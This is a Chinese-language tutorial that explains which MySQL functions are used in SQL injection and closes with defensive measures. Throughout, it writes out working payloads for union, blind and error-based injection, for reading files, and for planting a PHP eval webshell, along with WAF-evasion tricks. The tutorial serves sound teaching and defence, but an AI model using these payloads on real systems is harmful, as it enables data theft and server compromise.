1. 从“万能密码”到函数拆解:SQL注入的攻防核心
刚入行安全测试那会儿,我最先接触的“黑魔法”就是SQL注入。记得第一次在靶场里输入admin' or '1'='1,看到登录界面直接跳转到后台时,那种感觉既震撼又后怕。后来才知道,这仅仅是冰山一角。真正让SQL注入变得变幻莫测、防不胜防的,不是那些简单的单引号,而是数据库内置的函数。这些函数,原本是开发者用来高效处理数据的利器,但在攻击者手中,却成了绕过过滤、探测结构、窃取数据的“瑞士军刀”。今天,我们就抛开那些泛泛而谈的概念,深入数据库的“武器库”,把SQL注入中那些高频出现、功能各异的函数一个个拆解清楚。无论你是想夯实基础的安全新人,还是想完善防御策略的开发老兵,理解这些函数的运作机制,都是构建有效安全认知的关键一步。
2. SQL注入函数库:攻击者的“武器”分类与用途
在渗透测试或攻击模拟中,攻击者使用SQL函数绝非随意为之,每一类函数都有其明确的战术目的。我们可以将其大致分为四个核心类别:信息侦察、数据提取、条件构造与盲注辅助。理解这个分类,能帮助我们更快地洞悉攻击payload的意图。
2.1 信息侦察类函数:摸清数据库的“底细”
攻击的第一步永远是信息收集。在不知道数据库任何细节的情况下,攻击者需要利用数据库函数来“问”出结构。
user()/current_user()/session_user()这三个函数是侦察的起点,用于获取当前数据库连接所使用的用户名。这听起来简单,但价值巨大。如果返回的是root@localhost或sa,攻击者立刻会意识到这可能是一个高权限账户,后续的攻击(如文件读写、命令执行)可能性大大增加。在MySQL中,user()返回的是客户端提供的用户名和主机名,而current_user()返回的是经过认证的用户名,有时两者会有差异,这本身也能透露一些认证配置信息。
database()此函数直接返回当前连接使用的数据库名称。在联合查询注入中,获取库名是查询表结构的前提。例如,攻击者可能会构造union select 1, database(), 3来将库名直接显示在页面上。
version()获取数据库服务器的版本号。这是极其关键的一步。不同版本的数据存在特性差异、默认配置差异以及已知漏洞。例如,MySQL 5.x 和 8.x 在默认身份认证插件、窗口函数支持上就有很大不同。知道版本号后,攻击者可以查找该版本的已知漏洞(如CVE),或者调整payload语法以适配特定版本。在报错注入中,@@version或version()也常被用来触发错误信息泄露。
@@version_compile_os这个MySQL的系统变量能告诉我们数据库服务器运行在什么操作系统上(如Linux、Windows)。这直接影响后续的攻击路径选择。例如,在Windows系统上,路径分隔符是反斜杠\,而Linux上是正斜杠/;Windows下可能利用xp_cmdshell执行系统命令,而Linux下则可能尝试写入Webshell。
注意:这些信息函数通常被WAF(Web应用防火墙)重点监控。但在一些基于错误的注入或盲注中,攻击者会通过函数执行结果的差异(如长度、返回值内容)来间接推断信息,而非直接显示。
2.2 数据提取与操作类函数:窃取信息的“搬运工”
获取库名、表名后,下一步就是读取表中的具体数据。这里函数的作用是处理和提取。
字符串连接函数这是绕过过滤和构造复杂查询的基石。
concat()/concat_ws():concat(str1, str2, ...)将多个字符串无缝连接。在联合查询中,我们常用它来把多个字段值合并到一列显示:union select 1, concat(username, ‘:’, password), 3 from users。concat_ws(separator, str1, str2...)则更便捷,用指定的分隔符连接字符串。group_concat(): 这是MySQL中的“神器”。它可以将一个分组中的多个值连接成一个字符串。当你想一次性取出一个表的所有用户名时,select group_concat(username) from users会比用concat()遍历方便得多。在注入中,它常被用来避免多次请求,一次性拖走整个表的数据,例如union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema=database()。
字符串截取与定位函数主要用于盲注,一次只提取一个字符或一小段数据。
substr()/substring():substr(string, start, length)从指定位置截取指定长度的子串。在布尔盲注中,攻击者会逐位猜测数据:and substr(database(),1,1)=‘a‘,通过页面返回的真假(正常或错误)来判断第一位字符是否为‘a’。mid(): 功能与substr()类似,语法也一致,常作为替代使用。left()/right():left(string, n)返回字符串左边n个字符。在快速判断数据开头或结尾时很有用。locate()/instr():locate(substr, str)返回子串在字符串中的位置。可以用来判断某个特定值(如admin)是否存在于某个字段中。
编码转换函数用于绕过简单的过滤或处理特殊字符。
hex()/unhex(): 将字符串转换为十六进制表示。当单引号被过滤时,攻击者可以用十六进制字符串代替。例如,‘admin‘的十六进制是0x61646D696E,那么select * from users where username=0x61646D696E就可以绕过对单引号的检查。hex()也常用于将二进制数据(如文件内容)转换为可注入的文本格式。char(): 根据ASCII码返回字符。可以用来构造不带引号的字符串。例如,char(97, 100, 109, 105, 110)的结果就是字符串‘admin‘,完全避免了使用引号。to_base64()/from_base64()(MySQL 5.6+): 进行Base64编码解码。有时用于在传输中处理特殊字符,或作为一种简单的“混淆”。
2.3 条件构造与逻辑控制函数:让盲注“活”起来
在无法直接看到查询结果的盲注场景下,这些函数是攻击者的眼睛和大脑。
if()/case when这是盲注,尤其是布尔盲注的灵魂。if(condition, value_if_true, value_if_false)根据条件返回不同的值。攻击者利用它来构造基于真假的差异化响应。
- 时间盲注:
and if(ascii(substr(database(),1,1))>100, sleep(5), 0)。如果条件为真,则睡眠5秒,页面响应延迟;为假则立即返回。通过观察响应时间,就能逐位推断出数据。 - 布尔盲注:有时与
substr()等结合,改变查询返回的数据量或内容,使页面呈现不同状态(如显示“存在”或“不存在”)。
sleep()专门用于时间盲注。让数据库“等待”指定的秒数。通过测量页面响应时间,攻击者可以判断sleep()是否被执行,从而推断前置条件是否成立。这是最直接的时间盲注函数,但也最容易被监控系统发现异常的长时间查询。
benchmark()MySQL中的另一个“延时”函数。benchmark(count, expr)会将表达式expr执行count次。虽然本意是性能测试,但攻击者利用执行大量运算来消耗时间,实现类似sleep()的效果,例如benchmark(10000000, md5(‘test‘))。它比sleep()更隐蔽,因为看起来像一个计算密集型操作。
2.4 系统与文件操作函数:危险的权限“跳板”
这类函数通常需要较高的数据库权限,一旦被利用,危害会从数据层上升到服务器层。
load_file()MySQL中用于读取服务器上文件的函数。前提是数据库用户拥有FILE权限,且知道文件的绝对路径。攻击者可以用它来读取敏感配置文件(如/etc/passwd,C:\Windows\win.ini)、应用程序源代码(寻找其他漏洞)或包含数据库凭证的配置文件。Payload示例:union select 1, load_file(‘/etc/passwd‘), 3。
into outfile/into dumpfile与load_file()相反,用于将查询结果写入服务器文件系统。into outfile可以写多行,而into dumpfile只能写一行,更适合写入二进制文件(如Webshell)。这是获取服务器权限的经典手段。例如:select ‘<?php @eval($_POST[cmd]);?>‘ into outfile ‘/var/www/html/shell.php‘。成功执行的条件非常苛刻:需要FILE权限、 secure_file_priv 系统变量设置允许写入目标目录、以及完整的路径。
@@datadir/@@basedir这些系统变量不是函数,但常与文件操作结合使用。@@datadir返回数据库数据文件的存储目录,@@basedir返回MySQL的安装根目录。攻击者通过它们来推测Web根目录的可能路径,为写入Webshell寻找目标。
实操心得:在实际的渗透测试中,遇到能直接使用
load_file或into outfile的情况越来越少,因为运维安全意识普遍提升,数据库账户通常被降权。但测试这些点仍然是必要环节,因为配置失误总是存在。测试时,可以尝试读取/proc/self/environ(Linux)来获取环境变量,有时能发现Web路径。
3. 函数在各类注入手法中的实战应用解析
知道了有哪些“武器”,我们还要看“战士”如何在不同的“战场”(注入类型)上运用它们。不同的注入场景,函数的使用策略和组合方式截然不同。
3.1 联合查询注入中的函数组合技
联合查询注入的前提是页面会直接回显查询结果。此时,函数的核心作用是格式化输出和一次性获取大量信息。
场景:一个新闻详情页,URL为/news.php?id=1,页面会显示新闻标题和内容。存在数字型注入漏洞。
攻击步骤与函数应用:
- 确定列数:使用
order by或union select null,null,...,这一步通常不用复杂函数。 - 探测回显点:
union select 1,2,3,4,查看页面中哪个数字被显示出来,假设是2和4。 - 信息收集:在回显点替换为信息函数。
- 替换位置2:
database()-> 获取当前库名,比如news_db。 - 替换位置4:
@@version-> 获取数据库版本,比如5.7.40。
- 替换位置2:
- 提取表名:利用
information_schema和group_concat()。- Payload:
union select 1, group_concat(table_name), 3, 4 from information_schema.tables where table_schema=database() - 结果可能显示:
news,admin,users
- Payload:
- 提取字段名:针对感兴趣的表(如
users)。- Payload:
union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_schema=database() and table_name=‘users‘ - 注意:这里
table_name的值需要引号。如果引号被过滤,可以用十六进制:table_name=0x7573657273(users的hex)。 - 结果可能显示:
id,username,password,email
- Payload:
- 拖取数据:使用
concat()或concat_ws()美化输出。- Payload:
union select 1, concat_ws(‘ - ‘, username, password), 3, 4 from users limit 0,1 - 这样就能在一列里清晰地看到
admin - e10adc3949ba59abbe56e057f20f883e这样的对应关系。
- Payload:
关键点:在联合查询中,group_concat()和concat()是效率最高的“数据搬运工”,能极大减少请求次数。
3.2 报错注入中的函数“触发器”
报错注入利用数据库执行某些特殊函数或语句时产生的错误信息,将我们想查询的数据“夹带”在错误信息中回显出来。这类函数通常需要触发一个“子查询”错误。
updatexml()这是最常用的报错函数之一。updatexml(XML_document, XPath_string, new_value)本意是更新XML文档。但如果我们提供的XPath_string格式非法,它就会报错,并将非法内容的一部分显示在错误信息里。
- Payload构造:
and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) - 原理拆解:
concat(0x7e, (select database()), 0x7e):0x7e是波浪号~的十六进制,用作分隔符。子查询(select database())执行后,结果(如news_db)会被拼接成~news_db~。- 这个字符串作为第二个参数(XPath路径)传入
updatexml。数据库尝试将其解析为XPath表达式,但~news_db~显然不是合法的XPath,于是报错。 - 错误信息通常是:
XPATH syntax error: ‘~news_db~‘。这样,我们就把库名“注入”到了错误信息中。
- 限制:
updatexml报错返回的数据长度有限(MySQL通常约32KB,具体版本有差异),且只能返回单行结果。对于长数据,需要结合substr()分段截取。
extractvalue()与updatexml原理类似,extractvalue(XML_document, XPath_string)用于从XML中提取值。同样利用非法XPath触发错误。
- Payload:
and extractvalue(1, concat(0x7e, (select user()))) - 错误信息:
XPATH syntax error: ‘~root@localhost‘
floor()+rand()+group by这是一套组合拳,通过主键重复错误来触发报错。相对复杂,但有时能绕过对updatexml的过滤。
- 典型Payload:
and (select 1 from (select count(*), concat((select database()), floor(rand(0)*2)) x from information_schema.tables group by x) a) - 原理:
rand(0)是一个伪随机序列,floor(rand(0)*2)在group by时会产生重复值,导致计数时主键冲突而报错,错误信息中会包含concat的内容。
注意事项:报错注入非常依赖错误信息是否回显给用户。在生产环境中,成熟的应用程序会捕获所有数据库异常,返回统一的错误页面,使报错注入失效。但在调试阶段或一些管理后台,错误信息可能被直接打印,风险极高。
3.3 布尔盲注与时间盲注中的函数逻辑链
当页面没有明确回显,只有“存在”与“不存在”、“正常”与“错误”两种状态时,就需要盲注。函数在这里扮演逻辑判断和条件触发的角色。
布尔盲注示例:一个根据用户ID查询详情,但只返回“找到用户”或“未找到用户”的页面。
- 判断注入点:
and 1=1返回“找到”,and 1=2返回“未找到”,确认存在布尔型注入。 - 猜解库名长度:
and length(database())=7。通过不断改变数字,直到页面返回“找到”,即可确定长度。 - 逐位猜解库名:
and ascii(substr(database(),1,1))>100。这里用到了ascii()(返回字符的ASCII码)和substr()。通过二分法(>、<、=),可以高效地猜出第一个字符的ASCII码,进而转换为字符。然后substr(database(),2,1)猜第二位,以此类推。 - 猜解表名、字段名、数据:逻辑相同,只是将子查询替换。例如猜表名:
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100。
时间盲注示例:页面无论输入什么,返回的HTTP状态码和内容都完全一样,只能通过响应时间判断。
- 判断注入点:
and sleep(5)。如果页面响应明显延迟约5秒,则存在时间注入。 - 猜解数据:
and if(ascii(substr(database(),1,1))>100, sleep(5), 0)。如果第一个字符的ASCII码大于100,则睡眠5秒,否则立即返回。通过观察响应时间,就能进行判断。benchmark()可以替代sleep()作为延时手段。
关键函数:
length(): 判断长度。substr()/ascii(): 截取和转换字符,用于逐位比较。if()/case when: 核心逻辑控制,根据条件决定执行分支(在时间盲注中决定是否延时)。sleep()/benchmark(): 制造时间差。
自动化与优化:手工进行盲注极其繁琐,通常会使用sqlmap这样的工具。但理解其原理,能帮助你读懂工具的payload,甚至手工构造一些绕过WAF的特定payload。例如,当substr被过滤时,可以用mid()或left()/right()组合替代;当ascii()被过滤,可以用ord()函数。
4. 绕过过滤与WAF:函数的“奇技淫巧”
安全防护不是摆设,开发者会过滤单引号、关键字、空格等。攻击者则需要利用函数的特性和数据库的语法细节来绕过。
4.1 编码与字符替换绕过
十六进制编码:当单引号被过滤时,字符串可以用十六进制表示。
- 原始:
select * from users where username=‘admin‘ - 绕过:
select * from users where username=0x61646D696E(admin的hex) - 在注入中:
union select 1, column_name, 3 from information_schema.columns where table_name=0x7573657273(users的hex)
char()函数构造字符串:完全不用引号。
select * from users where username=char(97, 100, 109, 105, 110)
URL编码、双重编码、Unicode编码:适用于应用程序在解码逻辑上存在疏漏的情况。例如,‘的URL编码是%27,如果程序只解码一次,攻击者可以输入%2527(%25是%的编码),解码一次后变成%27,再被数据库引擎解码为‘。
4.2 关键字分割与混淆
内联注释:/*!...*/在MySQL中是“可执行注释”,其中的代码会被执行。可用于包裹关键字,绕过简单的字符串匹配。
union /*!select*/ 1,2,3/*!50000union*/ select 1,2,3(50000表示MySQL版本>=5.00.00时才执行)
空白符替代:空格常被过滤,可以用其他空白符代替。
%09(TAB),%0a(换行),%0c(换页),%0d(回车),/**/(注释)union%09select%091,2,3
大小写、双写绕过:针对简单的正则匹配。
- 大小写:
UnIoN SeLeCt - 双写:如果过滤规则是删除一次
select,那么selselectect在被删除中间的select后,剩下的部分正好又组成了select。
4.3 利用数据库特性与非常用函数
like、rlike、regexp:当=被过滤时,可以用这些操作符进行模糊匹配,在盲注中尤其有用。
and substr(database(),1,1) like ‘a%‘and database() regexp ‘^a‘(判断库名是否以a开头)
strcmp():字符串比较函数,返回0表示相等。可用于布尔判断。
and strcmp(substr(database(),1,1), ‘a‘)=0
coalesce()/ifnull():返回参数中第一个非NULL值。可用于构造复杂逻辑或测试。
union select coalesce((select user()), ‘null‘), 2, 3
greatest()/least():返回最大/最小值。可用于绕过某些字符比较限制。
and greatest(ascii(substr(database(),1,1)), 64)=64等价于判断ASCII码是否小于等于64。
踩坑记录:在一次内部攻防演练中,目标WAF严格过滤了
select、union、sleep、substr等关键词,甚至拦截了/**/注释。最终绕过方法是利用MySQL的/*!50000*/特性包裹所有关键字,并结合%0a作为分隔符,同时将substr替换为mid,sleep替换为benchmark,成功实施了时间盲注。这告诉我们,绕过的本质是对数据库语法和理解深度超过过滤规则。
5. 防御视角:如何让攻击者的函数“失效”
作为开发者或安全工程师,了解攻击是为了更好的防御。从函数这个切入点,我们可以构建多层防御。
5.1 代码层:参数化查询是唯一“银弹”
绝对不要使用字符串拼接来构造SQL语句。这是所有SQL注入的根源。
- 错误示例(PHP):
$sql = “SELECT * FROM users WHERE id = “ . $_GET[‘id‘]; - 正确做法:使用预处理语句(参数化查询)
- PHP (PDO):
$stmt = $pdo->prepare(“SELECT * FROM users WHERE id = :id“); $stmt->execute([‘id‘ => $_GET[‘id‘]]); $results = $stmt->fetchAll(); - Python (sqlite3):
cursor.execute(“SELECT * FROM users WHERE id = ?“, (user_id,)) - Java (JDBC):
PreparedStatement stmt = conn.prepareStatement(“SELECT * FROM users WHERE id = ?“); stmt.setInt(1, userId); ResultSet rs = stmt.executeQuery();
- PHP (PDO):
原理:预处理语句将SQL语句的结构(SELECT * FROM users WHERE id = ?)与数据(用户输入的id值)分开发送到数据库。数据库先编译语句结构,再将输入的数据纯粹当作“值”来处理,无论值里面包含什么函数名、引号、关键字,都不会被解释为SQL语法的一部分。攻击者精心构造的union select database()在这里只是一个普通的字符串,会被整体当作id的值去查询,自然无法生效。
5.2 权限层:最小权限原则
数据库连接账户的权限必须被严格限制。
- 应用账户禁止高权限:永远不要用
root或sa账户连接Web应用。创建一个仅具备所需最小权限的账户。- 只读操作:仅授予
SELECT权限。 - 写操作:仅授予
INSERT,UPDATE,DELETE权限在必要的表上。
- 只读操作:仅授予
- 收回危险权限:坚决收回
FILE,PROCESS,SUPER,GRANT OPTION等权限。这直接废掉了load_file,into outfile这类高危操作。 - 使用不同的账户:对于前台展示和后台管理,使用不同的数据库账户,进一步隔离风险。
5.3 过滤与验证层:深度防御
虽然参数化查询是根本,但额外的防御层能应对意外情况或遗留代码。
- 白名单验证:对于已知有限集合的输入(如状态值、类型参数),使用白名单。例如,
$type = in_array($_GET[‘type‘], [‘news‘, ‘blog‘, ‘article‘]) ? $_GET[‘type‘] : ‘news‘; - 严格的类型转换:对于数字型参数,在传入SQL前强制转换为整数。
$id = (int)$_GET[‘id‘]; - 转义的局限性:记住,转义(如
mysql_real_escape_string)只是针对特定数据库的字符串字面值,它不是万能的,对于数字字段或查询的其他部分(如表名、列名)无效。它不能替代参数化查询。 - Web应用防火墙:部署WAF可以帮助拦截大量已知的、模式化的攻击payload,包括那些使用了危险函数的注入尝试。但WAF可能被绕过,不能作为唯一防线。
5.4 运维与配置层
- 错误信息处理:在生产环境中,禁止向用户显示原始的数据库错误信息。应使用自定义的错误页面,并将详细错误记录到只有管理员可访问的日志中。这能有效防御报错注入。
- 数据库配置加固:
- MySQL:设置
secure_file_priv为特定目录或NULL,限制load_file和into outfile的操作范围。 - 定期更新数据库版本,修补已知的安全漏洞。
- 禁用不必要的数据库功能或存储过程。
- MySQL:设置
理解SQL注入中的函数,就像拿到了攻击者的武器清单。从防御角度看,这份清单告诉我们哪里最脆弱:那些能够被用户输入所操控的、拼接进SQL语句的数据点。而最坚固的盾牌,始终是正确使用参数化查询,并结合最小权限、输入验证和深度防御的多层安全策略。安全是一个持续的过程,知其然,更要知其所以然,才能在攻防的博弈中保持主动。